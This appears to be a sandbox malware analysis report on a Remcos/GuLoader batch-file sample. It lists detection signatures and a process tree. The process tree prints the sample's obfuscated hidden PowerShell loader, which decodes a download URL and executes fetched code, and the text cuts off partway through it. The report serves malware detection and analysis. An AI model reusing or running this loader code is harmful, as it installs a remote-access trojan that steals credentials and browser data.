Edit tour
Windows
Analysis Report
SKU_0001710-1-2024-SX-3762.bat
Overview
General Information
Detection
Remcos, GuLoader
Score: | 100 |
Range: | 0 - 100 |
Whitelisted: | false |
Confidence: | 100% |
Signatures
Detected Remcos RAT
Early bird code injection technique detected
Found malware configuration
Malicious sample detected (through community Yara rule)
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected GuLoader
Yara detected Powershell download and execute
Yara detected Remcos RAT
AI detected suspicious sample
C2 URLs / IPs found in malware configuration
Found suspicious powershell code related to unpacking or dynamic code loading
Maps a DLL or memory area into another process
Queues an APC in another process (thread injection)
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file registry)
Uses dynamic DNS services
Writes to foreign memory regions
Yara detected WebBrowserPassView password recovery tool
Checks if the current process is being debugged
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to dynamically determine API calls
Contains functionality to modify clipboard data
Contains functionality to query CPU information (cpuid)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Direct Autorun Keys Modification
Sigma detected: Msiexec Initiated Connection
Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE
Sigma detected: Suspicious Copy From or To System Directory
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
- cmd.exe (PID: 792 cmdline:
C:\Windows \system32\ cmd.exe /c ""C:\User s\user\Des ktop\SKU_0 001710-1-2 024-SX-376 2.bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 4632 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) - powershell.exe (PID: 6112 cmdline:
powershell .exe -wind owstyle hi dden " <#D erindad Te lefonkdes Kroforvalt erens knud shoveds #> ;$Overimpr essed215=' Steroider1 15';<#Meso Allittere redes Side lngder Pet roleumsovn Markedsfr ingsomkost ning #>;$O mittancesf orstrke116 =$Beseemin gness+$hos t.UI;funct ion Foresl aa($Tvivls tilfldet){ If ($Omitt ancesforst rke116) {$ Photoelect ronics++;} $Transform ationsproc esser=$Sel skabsrevis ors+$Tvivl stilfldet. 'Length'-$ Photoelect ronics; fo r( $Omitta nce=4;$Omi ttance -lt $Transfor mationspro cesser;$Om ittance+=5 ){$Benzant hrone++;$V andsskader +=$Tvivlst ilfldet[$O mittance]; $Styreform erne15='Up roblematis ke';}$Vand sskader;}f unction He raclitean( $Shagrag){ & ($L iljekonval s) ($Shagr ag);}$Node n=Foreslaa 'CuprMTor poStigzSc tiUninlS o rlCarbaSku l/Lige ';$ Noden+=For eslaa 'Int r5 od.Slip 0Poli Omf( Ed WBairi PreinRummd In oRandw HumosKjru FemaN recT Sta Ste1 Cab0Jux .I xo 0 For;S ind TalaWG orbiVaesnH em 6.tvk4A fst; v.d S attxSt.b6K abo4p.lk; Pet Visur etev Udh:K hed1Agit3B rig1Else. Lai0Edul)D eli spirGS lage rocLa ndkDemooW ys/ .ri2Di k0 .en1,i jo0Rest0Au to1Enla0Id .o1S am Bo sFAfskiMar krP omeF i hf teo,ent xRobo/U es 1Sand3Trav 1 Cou.Indl 0a em ';$D eglutitive =Foreslaa 'MotiuSne, SHjesE An. RBou - Red aOto G K t E chenN ns TOxgo ';$S pisekortet =Foreslaa 'Glach P.i tSubstMod. pDogg:Tiec / I.t/Conn aHererFest tu.viiansa eFa nr dir iCi r.cl.n rDecaohypn /At ogSfol /TessSPers k R,liEksi fSko f gal e.uchrNor d ErnkTy e k Un eBor re itsSprj .NunnpObst cEngrx.jla ';$Alline ate=Foresl aa 'Fila>F .ru ';$Lil jekonvals= Foreslaa ' .amuIBisae Po.kxCor ' ;$Brneorme ns='Sybari tternes';$ Omittancer onsided='\ Rgnes.Und' ;Heraclite an (Foresl aa 'Forb$K o,fgShorLU nifOEpigBC moASaprlO mf :kautFP romOU gyZP outIForfnS u,pe AddSL unesKins=C o.e$ Lu,eQ uesNSvnlVD ell:Unscan onvPRingpD isuDkakiA omaTEquiAT hys+Komp$ oodoSn wmU piiNoonTA warTMag AB earnzibeCF ortEUndeRK il o O,enY ppesSystiA ftedFarieD iopdMukk ' );Heraclit ean (Fores laa 'or a$ SvorG L,vL Ce.tOko,mb Solba HypL Out,:Warem WearA P ar U,vojBenfU So,Nfor S anop= Cos$ ConuSH.ftP Fan I Isos RochELat k chaOUncor Omk,tChere lierTNe.p. Es asOrieP StrLS vsi LocutAfgi( Min$Akkua G nzl Coll PhalI BdeN higeS ngA ArmtIliae Tric) Sta ');Heracli tean (Fore slaa 'Pane [EscoNMyth EDrysTHelt .scotS nhE TovbrPladv RdbrICentC Afb EVas p ynaOO.tbI BedsnParat VapM orka ForbnMarma penngHoppe ShirrHals] .nal:Leve: ,uttSHov e lovmcDisbU ,arRErriI EschTU bry Delkp AntR TeosOTunnt KulkO NolC UdhooRendl Pe.s Prey= Data U,or[ uleN ukeT oldT Gez.A f,aSKl,keC onscFormuN e tRManuIG ysetspiryP revPc.arru nr,OStamtC e loPhasCS tamoD sil NomtaqqaY F lpschiE Ufo]Fend:E .cy:Rstetw